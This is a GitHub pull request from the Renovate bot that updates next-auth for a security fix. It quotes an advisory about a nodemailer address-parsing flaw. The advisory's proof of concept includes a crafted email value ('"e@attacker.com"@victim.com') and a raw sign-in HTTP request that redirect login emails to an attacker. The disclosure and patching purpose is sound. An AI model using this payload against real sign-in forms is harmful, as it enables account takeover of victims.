Skip to content

chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] #293

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Open
renovate wants to merge 1 commit into
base: main
Choose a base branch
from
Open

chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] #293

renovate wants to merge 1 commit into from

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Oct 29, 2025

RicardoGEsteves all-non-major update, dependency next-auth to v5.0.0-beta.30

This PR contains the following updates:

Package Type Update Change OpenSSF New value Package file References
next-auth (source) dependencies patch 5.0.0-beta.25 -> 5.0.0-beta.30 OpenSSF Scorecard ^5.0.0-beta.25 package.json homepage, source

GitHub Vulnerability Alerts

GHSA-5jpx-9hw9-2fx4

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@​victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version Afftected
4.24.11 Yes
5.0.0-beta.29 Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@&#8203;auth/prisma-adapter"
import { prisma } from "@&#8203;/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
Screenshot from 2025-10-25 21-15-25 Screenshot from 2025-10-25 21-14-47

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

Release Notes

nextauthjs/next-auth (next-auth)

v5.0.0-beta.30

Compare Source

v5.0.0-beta.29

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.28...next-auth@5.0.0-beta.29

v5.0.0-beta.28

Compare Source

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.27...next-auth@5.0.0-beta.28

v5.0.0-beta.27

Compare Source

What's Changed

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.26...next-auth@5.0.0-beta.27

v5.0.0-beta.26

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.24...next-auth@5.0.0-beta.26

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) October 29, 2025 11:39
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 2115b7e to bb0ecb0 Compare November 10, 2025 20:08
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from bb0ecb0 to 13c61f4 Compare November 18, 2025 12:32
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 13c61f4 to 7cf0744 Compare December 3, 2025 19:45
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

@RicardoGEsteves RicardoGEsteves

Labels

all-non-major security

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@RicardoGEsteves